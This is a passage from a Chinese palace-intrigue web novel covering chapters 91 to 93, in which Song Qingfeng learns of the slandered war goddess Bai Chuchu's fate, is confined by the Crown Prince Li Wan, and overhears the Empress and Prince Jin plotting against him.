“怎么了?”李岏重又问道。 宋轻风只觉得嗓音干涩,心凉了半截,飞扬的心沉沉落了下来。 她不死心,还是问道:“是真的吗太子殿下,她真的远走高飞了吗?” 李岏扯了扯唇,抚上她的肩头道:“嗯,是真的。” 说完却见宋轻风面色不对,满身寒霜,他心中一跳,生了不好的预感。 索性也不细问,飞身上了阁楼。 王府正收拾的仆从不妨他突然转了回来,正收拾间全都吓了一跳。 即便屋内昏黄,李岏还是一眼瞧见那副铠甲和墙上的画。 这些东西为何会在此处?这屋内原不是这样的!这并非自己要给她看的东西。 难怪宋轻风从屋内出来,会是那般的表现。 不过瞬间,李岏便想到这屋内是特意为他此次前来做了手脚,而能料在他前头,又能指使宁旌配合的人,除了李岚,再无旁人。 李岏看着这些人的动作问道:“你们在做什么?” 几个仆人唯唯诺诺,跪倒在地,其中一人结结巴巴地道:“小人们恐有闪失,收拾,收拾一下。” 宋轻风方才只觉得如当头冰水泼下,喜悦早就荡然无存,而今瞧见屋内景象,心中仅存的幻想与憧憬消失了彻底。 而今这局面,李岏知她一定误会了,忙解释道:“此处并非我安排……” 宋轻风木木地盯着地面打断道:“太子殿下这般戏弄,可是觉得很有意思么?” 李岏心头一紧,欲要抓住她的手腕道:“不,确实不是我安排的……” “那,”宋轻风抬起头来,任由他抓住了自己的手腕道,“她真的远走高飞了吗?” 李岏抿了抿唇,“是”这个词却再说不出口。 “好了,”宋轻风抽出自己的胳膊道。 她看着仆人手中还未来得及收卷起来的那副画,画上骑着白马的身影已被卷起不可见了。 一切都只是自己的一场空欢喜,根本不会有这世间的再次重逢。 她浑身的光一寸寸暗淡下去,没有愤怒,只是耷拉着脑袋,自怀着掏出捂热的那把弩箭,递还了过去道:“难为殿下愿意为了我一个小小的女子大动干戈演这一场,连这箭都是提前想好了。如今已演完了,还给您。” 说着她递出去,不想李岏未曾接稳,这把小弩落在地上。 啪嗒一声脆响…… 这声脆响不大,但在武勋大典之上,却是大凶之兆。 宁旌想要用力地拨开人群,虽然看不见,但他心中却知这是武勋大典的玉璋跌落的声音。 他只能愈发用力地往前挤,可他还未成年个子还未长全,被身周高大威猛的侍卫挡住了视线,只能拼劲全力想要推开碍事的侍卫和密密麻麻的大臣。 “此等欺世盗名,滥杀无辜,心狠手辣之人,有何面目受领武勋大典!” 激喝声远远传来,缥缈虚无,宁旌满头的汗却瞬间冷了下来。 他止住了往前的动作,如僵住了一般一动不动,而今停下来,却又能从人缝里瞧见远处高台上的景色。 人缝很细小,他能看到的画面也很小,但是那画面里,一女子一袭白铠,黑色的发随风而舞。 此刻她一手拄着长剑在地,俯身撑在剑柄之上。 正是白楚楚。 他瞧不清她的面目。 却瞧见面前的地上,玉璋断为了两截。 白楚楚开口,声音很轻,却叫人浑身发寒:“你说什么?” 宁旌看不见对面的人,却听到台下有人嘶哑地叫喊声:“你以为杀光了所有人就能高枕无忧,将你的罪恶掩埋?我是被爹塞进地窖里才侥幸活得一命!我亲眼目睹了全家惨死,我活着也是生不如死!如今孤身一人苟且偷生,所为就是要叫这世人看清你的真面目!” “苍天在上,天网恢恢,请睁开眼睛看看吧!为我北凉村二百三十一口人命,讨一个公道!” 那声音悲戚,直逼苍穹,叫人浑身汗毛直立。 而后却见那灰色身影自台下飞奔而来,一步跃到台阶上。 “陛下在上,众位大人在此,今日小人愿以死鸣冤,只愿陛下给我北凉村一个公道!” 说着他飞速奔出,只听“砰”地一声剧响,那灰影一头撞在了盘龙柱上,如惊雷一般。 鲜血喷射而出,黄红之物流了满地。 即便在场多有行武之人,这惨烈场面也叫人难以逼视。 宁旌这才瞧清,这撞死之人,不过是个十多岁的少年,浑身褴褛,形容枯槁。 即便是死,还是瞪着可怖的眼睛,死死地盯着台上。 盯着台上的人。 而台上的白楚楚,扶着剑身立在一旁。鲜血溅在她白皙的面容上,虽然面容瞧不清,一双眼睛却幽深如渊。 现场死一般的寂静。 高台的血顺着台面蔓延开来,将她包围在其中。 一时如杀神修罗一般。 台下许多官员何曾见过真正的沙场厮杀,更不曾见过战场的鲜血与刀兵,而今只瞧见人命这般倒在她面前,她却面不改色,众人心中发怵,早就信了七八分。 不知过了多久,突然听到有人暴喝:“什么保家卫国,战无不胜的白马战神,全是骗人的鬼话!为了军功,为了讨好北戎人,不惜屠戮无辜百姓,充实你战神的战绩!” “你这个心狠手辣的屠夫!踩着无辜的尸骨往上爬,手上沾的全是无数冤魂的血!你有何面目,出现此武勋台上?” 白楚楚柱着剑身的身体摇了摇。 她定了定神,朝着台下众人,一字字道:“我自幼随父出征,镇守边疆,只为给百姓一个安宁。是的,死在我剑下的亡魂不计其数,但他们都是北戎人!” 剩下的言语他听不清,宁旌只觉得浑身剧烈缠动,牙齿咯咯作响,他想要上前去,脚却如生了根一般挪不动半步。 剩下的他记不全,只记得那日武勋台上烈旗招展,人声鼎沸。 残阳如血,照在那抹白色身影上,将单薄的影子拉得极长。 “砰”地一声,宁旌手中酒壶摔落在地。 他眯着眼睛盯着头顶的星空,红了眼眶。 白楚楚自幼随父出征,偶尔应召回京,这时候便喜欢借住在镇北王府。 她说喜欢王府里那处阁楼,躺在里头瞧琉璃顶外的满天繁星,瞧见的星星与在西北是不同的。 她来借住的几次,便是他这辈子最快活的时光。他偷偷跟在后面瞧她,传闻里那位百战百胜的白马战神,居然是个笑起来像暖阳一般的女子。 那场武勋大典前几个月,他便开始日盼夜盼,只盼她早些来京。可若能再有一次机会,他只想要叫她永远也不要来京。 他在西北这么多年不敢回来,更不敢进那间阁楼,好像只要不进去,她就永远还在那里一般。 可真等李岚求他回京,他却又毫不犹豫跨上马来,只恨不得立刻飞奔到王府。 “只恨那时我无用,只能像其他人那般旁观,眼睁睁看着她一个人孤立无援。” “栽赃污蔑,如今这同样的手法,又要故技重施吗?” 李岚知他是醉了,与他道:“都过去了,你早些歇息吧。” 说着自顾起身要离去,却被宁旌叫住道:“可你又是为何呢?纵使陛下再不喜,你也是名副其实的大殿下,一生注定金尊玉贵,为何会是而今这般模样?” 假设真是先帝骨血,那只比当今血脉更为尊贵。 李岚停住脚步,声音轻地叫人听不清:“北凉村二百三十二口枉死之人,总要有人为他们赎罪。” 却听“砰”地一声剧响,宁旌竟径直从椅子上摔倒在地,他面色赤红,喘着粗气,一身的文质模样荡然无存。 也顾不得此刻的狼狈,要往前抓住李岚的衣摆,只是不知是喝多了,还是惊惧过甚,腿脚失了力,他却不管不顾,撑着手用力往前挣扎道:“你说什么!” 李岚看了他一眼,面上神色难明,他没有上前扶他,却转身走了—— 作者有话说: 晚安啊~ 第92章 第 92 章 她曾有过婚约? 回宫路上, 下起了雪。 宫门口聚了一日的人已全都散了,只余满地雪白。 耳边传来炭火的哔啵声。 李岏放下车帘,车厢内重又陷入宫灯和炭火的光影下。 他到底忍不住转头看向一角。 车厢的角落里蜷缩着的女子, 双手抱着膝盖,将自己缩成小小的一团,无声无息, 连呼吸都似听不见。 这一路她便都这般模样。 不言不语, 也不看他。 李岏压下心中的不安,伸手过去拉她, 好在宋轻风还是那个姿势,也没有闪躲。 这车内炭火烧得旺,原该是暖和的, 可此刻只觉得触手冰冷如铁, 不似人的温度。 他忙将一旁自己的大氅披在她的身上,又将她的手握紧,下意识贴在自己的胸口处,汲取暖意。 宋轻风只是低着头, 如泥雕木塑一般, 任由他这般动作。 李岏见她不反抗,心中升起一丝希冀,开口道:“我并非有意要骗你, 今日之事是有些误会。” 他顿了顿接着道:“今日我瞧你欢喜模样,不忍心伤了你。” “我今日将你带进王府, 并非有意想要欺瞒或是故弄玄虚。” “……武勋大典之上, 她受万人所指,众人所弃,这些恶意中伤, 栽赃嫁祸,乃是这权势场里最常见的肮脏手段,不想一日会被波及在她的身上。” “只那时我年幼,并未在场,未能亲眼目睹当时情形。” 怒火从脚底窜起,宋轻风只觉得双颊如滚沸了一般,她瞪着面前的人道:“她父兄皆战死在沙场,她自己的一切也都献给了西北,献给了边境,出生入死多少回才换来的大家的安宁。回京就要受到这样的污蔑吗!” “这样拙劣的栽赃,只要随便一查,就能还她清白!” 哪知李岏却不言语。 她不知那时情形,可从而今结果来看,白楚楚至今未曾还得清白,甚至在这世间的痕迹,都快被消除了干净。 “为什么?为什么这么久还没人她清白!!那些村民必是北戎人假扮的!不然她不会下杀手!” 李岏摇了摇头,只是道,当时在众人一系列证据之后,白楚楚的面容越来越白,连挺立的身姿都渐渐委顿下去,面对众人的指认,却选择了沉默。 宋轻风屏住呼吸,她一时如置身在那时的台下,瞧见台上的女子面容雪白,飞扬的发丝倔强地飘着,宫中乌云压顶,人心向恶,她在西北浴血奋战,却在这半生守护的京畿繁华地被打落尘埃。 威名赫赫的白马战神,彻底成了人人喊打的十恶不赦之人,勾结北戎,残害百姓,一时宫中禁卫出动,她却从宫中众人的围杀中逃了出去。 宋轻风脑中冒出那个一直在梦中的黑夜,那个黑色的巷道,她拼命地跑,摔了无数的跟头,身后的刀光剑影如影随形。 便是这一场围杀吗? 李岏道:“她逃出之后,最后出现之地,便是镇北王府,那间阁楼。” “没人知道如此危急时刻,她为何去了那里,但是,她在那里的墙壁上,用血所书,留下了一幅画。” “一幅画?”宋轻风低下头,喃喃念道。 众人也皆不解,认为这画是她留下的秘密暗号,用于联络北戎奸细的秘信。 只是众人研究了半日,也在阁楼四处守株待兔了好些日,却未从中得到半点消息。 只是后来宁旌再不许人踏入那阁楼半步,派人日夜守在那处,如疯了一般,这些年即便是陛下身边的人靠近,也是打杀。 “画呢?” 李岏沉默,他原以为此次能顺利带宋轻风进入阁楼,是宁旌他已释怀了。不想他居然舍得,将那画都拓走了。 即便是他也没有把握能让宁旌将画交出来。 “我并未有意欺你,那确实是她最后出现的地方,只是后来便再没有消息了。” “传言中有人说她在宫中受了重伤,出去不久便死了,也有人说她逃去了北戎,这些年一直有人秘密四处打探她的下落,皆没有消息。” “我原也不确定她的去处,直到她的女儿突然出现……” 说到此处,宋轻风突然抬起头来。 他看着她面容发白,眼中虽没有泪,却透出一种叫人心惊的神色。 李岏的话卡在喉间。 宋轻风哑着嗓音道:“白窈窈?” 那时他抛下发着高烧的她,连夜回京,便是为了来救她。 李岏点头道:“她这些年一个人过得很苦,若是她母亲还活着,如何舍得让这唯一的宝贝女儿流落得这般模样。” 唯一的宝贝女儿。 言下之意,白楚楚是真的死了。她死之后,唯一的女儿无依无靠,饱受流落之苦。 宋轻风在他怀中的手颤了颤,有些不死心,又有些犹豫道:“有没有可能,你们,你们认错了人,她果真,果真是白楚楚的女儿吗,会不会……” 李岏道:“她与母亲,本就生得几分相似,再者,她所记少时之事,皆吻合。” 宋轻风直起的背低了下去。 他是太子,必有的是手段确认她的身份。不光是他,兰哥哥也是如此。 他们怎么会在此事上认错人呢。 她一时感到脑袋隐隐发痛,脑中不断闪过白窈窈嫌恶的面容,质问她抢了自己的一切,可自己问时她又闭嘴不言,只是恨恨地看着自己,又不时闪过那个女子笑着拍了自己的头叫乖女儿,最后骑马飞奔而走的背影。 李岏瞧见她面色越来越白,脸上现出痛苦之色,他忙问道:“你怎么了?” 眼见宋轻风如此模样,李岏埋在心底的不解冒了出来。他原以为她做这一切都是为了李岚,想到她为了那个人可以冒险不顾一切,他便不愿细想,不敢深究。 可而今,似乎哪里错了? 李岏到底忍不住问道:“你到底与白楚楚,又是什么关系?” 什么关系?宋轻风抬起头刚要开口,却突然不知哪里想起轻微乐声,低沉呜咽,似隔得很远,又似就在左近。 她豁然看向车壁, 外头的埙声,断断续续自风雪里飘过来,婉转悠扬。 是兰哥哥。 她顾不得发麻的腿,一把挣脱开他的手,推开车窗就要往外头雪地里跳。 肩头上的衣裳滑在地上。 李岏反应过来,一把拉住她的胳膊阻止了她跳车的动作。 他的力气极大,任凭她如何挣扎也挣脱不开。 宋轻风眼眶终于发红,头也不回,用力吼道:“放开我!” 随着她的话音,李岏反而愈发用力,当即也顾不得其他,两手狠命一拉,将她拽倒进了车厢。 啪地一声关闭了车窗。 挣扎间烛火晃动,车厢瞬间变得逼厄狭窄。 宋轻风咬牙挣扎,却突然车外传来声响,是宫门守卫的声响! 若进了宫门,就来不及了! 宋轻风心中发凉,怒不可遏地道:“是你食言在先,欺骗于我,放我走!” 李岏的喘息声就在附近,并未开口分辨,却一把堵住了她的嘴。 宋轻风用力地扭动却挣脱不开,索性趁势狠狠咬了上去。 可直到她咬得牙都酸了,口中血腥之气蔓延,对方却丝毫没有要放手的意思! 宋轻风边咬边抬头,狠狠瞪了过去,却瞧见他眉头隐有痛苦之色。 “不放。”断断续续的声音自他口中溢出。 幽幽灯火下,一双黑白分明的眼睛定定地看着自己。 宋轻风心中一突,不知为何松了口。 李岏不顾满嘴的血,只是一把揽过她道:“你答应过我,不会跟他走,你难道是骗我的吗?” 他再也没有能诱使她留下的理由,若她此次走了,就真的再也回不来了。 随着他的话音落,传来支呀声,厚重的宫门已合上,连带着埙声也被隔绝在外面。 宋轻风一把推开他,跌坐回车厢里…… 风雪连下了好几日,随云殿内外铺了厚厚的一层雪。 连带着外面的熙熙攘攘也被隔绝。 乌梅在檐下抖了一头的雪,这才进门,先是鬼鬼祟祟地瞧了瞧,果然瞧见矮塌边上,一个人影埋头坐在地上。 她冻得通红的脸发了愁,咳嗽了一声而后大声地道:“听闻外头的人闹得愈发得凶了,太子殿下连宫门都不能出,方才去尚药局的路上,就听好几个人在小声议论呢。” 说完用力跺脚道:“这些人实在太过分了!咱们太子殿下这么清风朗月的人物,怎么被这些人这般污蔑泼脏水!” 她闹出这般大的动静,又勾头瞧了瞧,不想宋轻风还在蹲坐在地上,低着头忙活着,对她的话毫无反应。 乌梅如泄了气的球,走上前去,见地上散落了一地的草蟋蟀,比昨日又多出了许多,不由担忧地看了一旁的又绿。 两人交换了一下眼色,悄悄退到了檐外头。 又绿忙抓住她道:“你却确实将娘子生病的消息递出去了?” 乌梅道:“那可不,早就送出去了,太子殿下可来过了?” 又绿摇了摇头:“而今太子殿下诸事缠身,哪里有空过来。” 乌梅不说话了,而后叹气道:“又绿,你觉不觉得,而今瞧见那满地的草蟋蟀,叫人心里发怵的慌?” “谁说不是,这都三四日了,娘子这什么也不做,光在那编这东西,我瞧太子殿下一日不来,娘子便要一直这般下去了。你不知道方才你走了,娘子问我,有没有做过梦。” “梦?什么梦?” 又绿一张脸惨白地道:“我照你的嘱付一直寻娘子说话,可娘子全都充耳不闻,直到我问她,您怎么会编这个,谁教您的。不想她突然就睬我了。她说她也不知道自己会编这个,就是突然做梦梦见了,所以试了试,结果真的会。” “她还问我,有没有做过类似的梦。” 乌梅通红的脸上也泛了白,紧了嗓子道:“我瞧这新抓的药也不顶事,要不我还是去禀告全福公公,能不能寻个钦天监的来看看吧,娘子这模样,莫不是这里,”她说着小心比划了一下脑子,这才道,“不太正常了。” 又绿红了眼眶道:“娘子此番出宫去,定是触怒了殿下,这可如何是好。” 乌梅道:“那太子殿下不来,咱就只能想办法叫娘子主动去了。” 屋内宋轻风不知外头两人的窃窃私语。 她打完手中最后的结,仔细瞧向刚编好的草蟋蟀,心中松了口气。 自前几日回宫来,她每日皆做着同样的梦。 梦里她不知道自己在哪里,也不知道自己什么模样,只知道自己的身体很小,浑身发抖,蜷缩成一团,脑袋里一片懵懂,满鼻都是血腥之气。 而一女子将手中长剑一扔,在她面前蹲下身来,随手扯来身旁的两根野草,野草在她灵动的手指间一翻飞舞,一只活灵活现的草蟋蟀便落在她的掌心。 她捧着草蟋蟀伸过来,草蟋蟀在她掌心如活了一般跳了跳,她道:“哇,小妹妹,它喜欢你,想和你做朋友。” “现在你们是好朋友拉,它叫你别害怕,会一直陪着你呢。” 宋轻风颓然地看着满地自己编织的草蟋蟀,与梦中的如出一辙。 这些年,她从未编过草蟋蟀,可等自己拿起草来,手指便如有记忆一般。 她终于相信这个梦是真的。 若她的梦是真的,那梦里的那个女子,自然也是真的。 可为什么后来,草蟋蟀她不记得了,连这女子,她也忘了。 宋轻风倚靠在矮榻边上,看着窗外白雪皑皑。 想到李岏所说当年之事,只有寥寥数语,却已可想知那时的惊心动魄。 只是她到底去了哪里,自己那时又在哪里? 宋轻风下意识纂紧了腰间的荷包,触手是熟悉的坚硬。 她想起荷包里的那块玉,霍地从矮榻边站起身来。 所有的梦都虚无缥缈,这是与她的梦有关的唯一东西。 乌梅又绿不妨,突见宋轻风自屋内飞一般跑出来。 两人还来不及叫她,却见她已一溜烟奔着外头去。 乌梅顾不得,也拽着裙摆追上去,直追到殿门口,果然瞧见宋娘子已被拦住。 宋轻风听见声响,转过头来控诉道:“他们不让我出去。” 乌梅尴尬地看了看守卫,这随云殿,里里外外都被围住了。 只她每日有一次出入的资格,就这还要经过层层查问。 宋轻风见乌梅支支吾吾,已明白过来,而今自己是被关在了这里。 她看着面前紧闭的殿门,下了几日的雪,早将这随云殿裹成了冰天雪地,也隔绝了外面的一切。 想来他是怕自己混出宫去,或者兰哥哥再像上次一般进宫来寻她。 他是准备这般关自己一辈子吗? 宋轻风与守卫道:“我不出去无妨,但我想让太子殿下来见我。” 守卫面面相觑,其中领头的拱手道:“太子殿下日理万机,小人等并不敢去打扰。若是殿下想见您了,自然会来,宋娘子不妨在此好好等着就是。” 众人严阵以待,以为她必要纠缠一番,宋轻风却抿嘴不说话了。 一旁乌梅打量了她的脸色,小心翼翼地道:“娘子您别难过,只因近日灾民之事闹得凶,太子殿下正是忙得紧,一时顾不到也是正常……” 她说着声音渐小,近几日听闻外头的事闹得太凶,太子殿下连出宫都难,这几日一步都未离开过方华殿。 她方才出去的时候,还隐约瞧见殿下一个人站在阁楼顶上呢。 但是这随云殿分明就在方华殿隔壁,殿下都未曾来看上一眼,唉…… 宋轻风也不再多言,转头就回去了。 谁知跑到院子的树根下,一脚铲开地上的雪,又不知从哪里掏出个铲子来,蹲在地上就哼哧哼哧挖了起来。 乌梅一口气差点没上来,原以为娘子好些了,怎么又挖起洞来了! 她跟在后头,小心翼翼地与宋轻风劝道:“娘子,您不若做些点心,奴婢寻个机会送去方华殿给全总管,殿下近来……” 而今宫里宫外风言风语,传得沸沸扬扬,这事实在非同小可,这几日又愈演愈烈,如今东宫的人出去,都揣着小心,心中到底生了几分不安来。 宋轻风自顾埋头挖坑。 太子,她自是不担心的。 她不知道这背后藏着什么样的阴谋,但她了解太子。他年纪虽轻,却心思深沉,从不会吃亏,而今他还未反击,必是背后盘着什么手段。 她一时觉得可笑,这样的人,哪里还用得着自己的担心? 她当初已与兰哥哥离开此地,便不该回来!想着手下愈发用力,足足挖了近两尺深的洞来。 而后一把扔了铲子,就跑屋内,将散落满地的草蟋蟀兜了个满怀。 在乌梅又绿二人震惊中,一股脑将一兜的草蟋蟀埋进了洞里埋了起来。 嘎嘎瞧见来凑热闹,一脚昂首站在刚砌好的土堆上,寒风吹过,场面实在有些瘆人。 又绿险些被吓哭了。 宋轻风摸着荷包里坚硬的东西,冷着脸在树下站了良久,转身又自案上拿起那只好久未用的弩来。 宫墙虽高,却四四方方,不远处殿宇楼阁,密密丛丛。 总算瞧见件正常事,乌梅喜上眉梢,慌忙与又绿去寻自己收藏的残叶。 先头娘子练弩,不射靶子,皆是射的落叶,而今冬天,好在她早有准备。 宋轻风并不等她们,只是站在檐下,举起弩箭,双目眯起。 万物皆静,轻风之下,传来细微丁零脆响,宋轻风抬眼,对着远处的檐角就射了出去。 只听“叮”地一声刚起,第二支箭已接踵而去。 不消片刻,便听哗啦啦四处铁马,皆在空中激荡,整个宫中皆是清脆声响。 乌梅又绿惊地怀里捧着的枯叶散落了一地。 还未及说话,却听不远处一声巨响,殿门被人用力撞开。 一道黑影疾驰而来,一把扣住了宋轻风正搭在机弩上的手,摇摇欲发的箭弩被拦了下来。 “你做什么!” 李岏紧紧抓住她的手腕,压沉着嗓音不可置信地道:“你疯了,那是勤政殿方向!” 宋轻风放下了弩箭道:“殿下来得挺快。” 话音落,却听门外传来沙沙脚步声,高守拦在门口,看不清殿外的情形。 宋轻风想甩开他的手,哪知对方却越缠越紧,她无法,只能低了声音道:“疼。” “你还知道疼!”李岏面上生了怒气,到底松了手,却咬牙切齿地道:“若我不来得这般快,你还站在这里喊疼吗!这是皇宫大内,不是儿戏的地方!” 宋轻风揉了手腕,道:“若您不关着我,我会这样吗?” “你……”李岏无语。 “您若是一直这般关着我,保不齐我还会做出什么事来。” “你!”李岏看着她面上少见的冷笑,心中打了突,知道她什么都做得出来,再没有方才气焰,只是道:“你若是气闷,就在周边转转,但要有人跟着。” 宋轻风转身就往外走道:“知道了。” 李岏见她几日不见自己,而今又这般干脆利落地就走了,连多一眼都未曾瞧向自己。 他赶上前去,想要去拉她的手,可却只摸到袖口,她便走远了。 李岏看着她的背影消失在殿外,忍不住追上前去。 却见宋轻风一路埋头,走到西院的花树旁便停住了。 这树冬日里盖了一层白雪,琼枝玉叶一般,她看着树根,想起在树根下挖出来的锦盒。 若是梦中所记不差,这锦盒便该是她亲手埋下去的。 里头装了那半块玉。 李岏便看着她,这才发觉竟许久未曾好好打量她,她的一双黑眸,映着远处残雪红墙,叫人不自觉被吸引进去。 宋轻风回过神来,便瞧见他目不转睛地看着自己,忍不住心中一跳,转回头去。 风中传来喧嚣声,外头的吵闹居然都传到此处来了。 宋轻风转头看他眉眼间全是萧索之意。 她这才发现他这几日清瘦了许多,少了上位者的倨傲,却多了丝疲惫。 李岏却上前,轻声地道:“宋轻风,若我果真万劫不复,你会一直陪着我吗?” 宋轻风避开他的目光,扯着衣角状似无意地道:“听闻这树是您亲手种的,您最钟爱。” 李岏看着而今已一人高的树道:“这是刚入东宫时……” 这是哥哥李岚曾养在紫晨宫的树,因与他名字同音,一向钟爱异常。 而他那时年幼,却被安排搬到这冷寂的东宫,他在紫晨宫外偷偷地哭,李岚便送他了这棵兰树。 李岏接道:“谈不上钟爱,不过是他曾喜欢的东西,既来了东宫这么多年,便留下了。” 宋轻风转头与李岏笑道:“所以殿下对我,也是这般吗?” “什么?” “您这般身份,可以姬妾如云,多的是世家贵女来爱您,而今却一心要将关我在此,只因为,”她顿了顿,脸上的笑容扩大,“只因为兰哥哥,你知道我喜欢的是兰哥哥,我们就要在一起了。所以你想将我从他那里抢过来。” 李岏听闻,一股热气上涌,梗着脖子却又说不出话来。 他双手紧握成拳,才忍住要狠狠掐住她的冲动,最终只从嗓音中挤出话来:“是又如何!你休想要再出去了!这辈子就只能和我烂在这宫城里!” 宋轻风只是看着他,一双乌黑的眼眸同周围的冰雪一般冰冷和陌生。 哪里还有半点以前看向他时的那种依恋。 李岏被她的目光刺痛,眼睑下的伤疤也跟着刺痛起来。 他下意识弯腰,心脏紧缩成一团,胸口如压着巨石一般喘不过气来。 欲要说什么,可看看她冷漠的侧脸,到底心灰意冷,转身走了。 咯吱咯吱。 轻轻的踩雪声渐远,宋轻风转过头,见太子已消失在远处。 而今院子里空荡荡,一个人也没有。 她这才走上兰树前,围着树盲目地左右转了许多圈,终于叫她在树根处瞧出一个痕迹来。 那是一道已不明显的刻痕,随着岁月流转,已经浅淡地难以分辨,但是她一眼瞧出来,这是她习惯的记号。她走过的地方,总是留下这样的记号。 位置刚好在埋锦盒的上方。 她真的来过这里! 梦里的情景都是真的,她在这里,等一个人。 宋轻风一时不知是开心,还是难过,只是无暇顾及心情,她眯起眼睛,踮起脚来,学着小女孩欢快的模样,信马由缰地任由自己走下去。 走着走着,却听一声哗啦巨响。 她这才回过神来,发现自己居然已到了一处高耸的宫墙边。 而宫墙的那边,随着哗啦的声响,有一人怒吼的声音传出:“都是群没用的东西!废物!废物!统统抓出去打死!” 声音里满是阴狠与气急败坏。 而后一道温柔又凄楚的女声响起:“六郎莫怕,娘一定会为你寻到这世上良医。” “良医!什么狗屁良医!看了这么久都是骗子!我这辈子都是个废物!” 这是晋王,自打他在皇觉寺被兰哥哥挑断了脚筋,自己还从未见过他。 只听闻每日里各地的大夫一批批地进宫,又一批批地被打出来。 却听皇后的声音又传来:“听闻北边的大巫医,医法通神,若能得到玉玺,我便能请他来此,他一定能救你。” 晋王如抓住救命稻草般,抓住皇后的手道:“真的吗!真的吗!我知道镇国玉玺在哪里。” 却听晋王又道:“等我治好了腿,这次我只要他死,我要李岏死!” 李岏的名字从未有人敢直接叫过,如今就这般堂而皇之地出现,宋轻风只觉得心中一颤。 “为什么他还好好的在东宫里!为什么没将他捉拿下狱!” 皇后道:“他成势多年,外有宁家如忠犬一般护着,内有巡防营,兵部吏部那些人,岂是如此轻易能撼动的。” 晋王冷笑道:“看来皇后娘娘是准备跟着太子,以后做太后娘娘了。” 皇后的脸色看不清,却听她并无怒意,反而耐心道:“所以于他不能硬碰,只能靠民心一点点腐蚀,他多年的经营,才会慢慢瓦解。” 晋王咬牙冷嗤道:“你以为他傻吗!任由那些人泼脏水!他这几天没有动静,假装可怜,定是在憋什么坏招!” 宋轻风也正有此想,像他这样的人,定是在筹谋更大的阴谋,才会任由那些人在宫外喧嚣这般久。 她在等着他翻盘,双倍报复回去的时候。 皇后摇了摇头,却道:“太子让镇北军在西边挖矿的事,自然是真的。只是安西地动是真的,数万灾民流离失所是真的,那些在地动中死去的人,更是真的。” “什么?” 皇后接道:“不管有没有人动龙脉,不管这是不是阴谋,不管这是不是栽赃陷害的手段,这些人的死都是事实。他身为太子,这些事都是因他而起,他自然要为这些人命负责。” “我看着他长大,自然知道他是什么样的人。” 他表面冷漠倨傲,少言寡语,却会将这些责任揽到自己身上,绝不会推诿。 他定然也会任由那些灾民在宫外闹事。 他从来都是这样的人。 身为太子,却还是这般天真。 “就像多年前,那个人一样,”皇后的声音渐渐悠长低沉,宋轻风紧紧地贴在墙上,才勉强听清,“她再清高,再不可一世,再自诩战神,最后还不是落了个身败名裂。” 晋王愣了愣,又暴怒道:“他要如何负责!我要他也尝尝这断腿的滋味,不,我要他断手断脚!” 第93章 第 93 章 在你眼里我是什么人 接下来的话全是诅咒与怨恨。 宋轻风不愿再听下去, 准备悄悄退出去。 哪知脚下不慎踩了枯枝头,发出卡擦声响。 屋内的晋王立时喝问道:“是谁!” 宋轻风浑身一僵,欲要赶紧退走, 哪知撞见一个宫内的老嬷嬷。 “你是谁!怎么在这里!” 宋轻风这老嬷嬷凶神恶煞满腹狐疑地看着自己:“你是哪个宫里得?怎么偷跑到这里来!” 她这才意识到,自己此刻的院子,与皇后的紫晨宫不过一墙之隔。 如今自己的行踪已经暴露, 知晓她在此偷听了方才的话, 无论是皇后还是晋王都不会放过自己。 殿内两人都被外头的动静所惊,晋王道:“定是他派人在此刺探, 等抓住,本王定要碎尸万段!” 皇后面色凝重,却又安慰他道:“许是小雪团在胡乱, 这两天它总往外跑。” 两人心思未定, 却听门口有人来报:“东宫的宋娘子求见皇后娘娘。” 皇后一惊,这种时候,这个宋娘子怎么来了! 晋王激动地拍手,这些日子他寻遍机会也接近不了东宫, 更接近不了她。没想到今日居然自投罗网!他一时咬牙道:“太好了!本王的腿便是被她所伤, 快将她抓起来。” 自断腿之后,原本翩翩公子再不复存,取而代之的是怨毒的儿子。 皇后看在眼里, 心中恨极,却也只能拦住道:“我们不知太子今日打的什么主意, 为何派她前来, 且先看她说什么。” 说完与门口太监道:“叫她进来。” 宋轻风入宫多月,虽是太子侍妾,但到底身份卑贱, 没资格面见皇帝和皇后。 而今是她第一回拜见皇后,又是情势所迫,她若不先发制人,主动来见,难免会被找到蛛丝马迹。 此时到底心中忐忑,埋着头走到近前。 只是方一进殿,一股浓郁的药味扑鼻而来。 她面上冷静,依着规矩行礼。 皇后打量着站在下手的女子,穿着打扮都是中规中矩的宫人服饰,外表看起来与寻常十几岁少女更是没什么分别。但她知道,能在东宫留下来这么久,便绝不是表面看起来这般简单。 皇后依旧是温柔模样,坐在一旁开口道:“你不在东宫伺候太子殿下,跑来此求见本宫,是有何事?” 宋轻风抬起头来,忽略一旁晋王的目光,看着皇后,硬着头皮道:“皇后娘娘,奴婢实在是没有办法,才想着来求娘娘。” 皇后面上并未神情,只是带着冷漠的客气:“什么事?” 宋轻风凑上前来,低声地道:“奴婢近来伺候太子殿下,却发现殿下近来总是噩梦缠身,睡梦中说许多胡话,还常常喊打喊杀,奴婢见识短浅,实在是瞧了害怕,难以放心,思来想去,这宫里能帮殿下的,也就只有娘娘了。” 皇后与晋王对视一眼,心下狐疑:“他说的什么胡话?” 宋轻风摇头道:“我听得也不甚清晰,只是好像,好像……” 她吞吞吐吐,又偷看了周围的人好几眼,好一会才挤出字来:“好像与陛下有关……” 她的声音愈发的手,皇后打断她,与旁边人道:“你们都出去吧。” 宫内人走了干净,皇后此时冷下脸来,不复以往笑模样,冷着脸道:“你今日寻本宫,是什么目的?” 宋轻风心下紧张,扯着衣角道:“太子殿下素日里沉默严肃,与奴婢也极冷淡,若是,若是此番我能解开殿下的心结,那……” 这个宁安侯府的庶女,当初就是因为扑向了太子殿下,才被陛下赐婚。 只是太子性情冷漠,不近女色,她是想借此获得太子的青眼。 皇后拦住要说话的晋王,脸上重又摆了温和笑意道:“你且继续。” 宋轻风得了鼓励,又见左右无人,当即道:“奴婢听了几日,听到殿下似乎在说,陛下的秘密被泄露,所以要……” 皇后心中大惊,看着宋轻风,却见她面上神色如常,似乎不知自己触探到了什么惊天秘密。 只是她还听到了多少? 哪知宋轻风却闭了嘴。 “就大概这么多。” 她说完,飞快扫了一眼,看见皇后面上神色变换,正在极力压抑心中惊色,她心中不由一紧,此番自己的话,只怕说对了七八分。 皇后压下心中汹涌,与她道:“太子素日劳累,梦中胡言也是再正常不过的事,莫要什么梦话都记着四处胡言。” 宋轻风点头道:“娘娘所言,甚是在理,奴婢也就听了这么一耳朵,只怕是听岔了。多谢娘娘指点!” 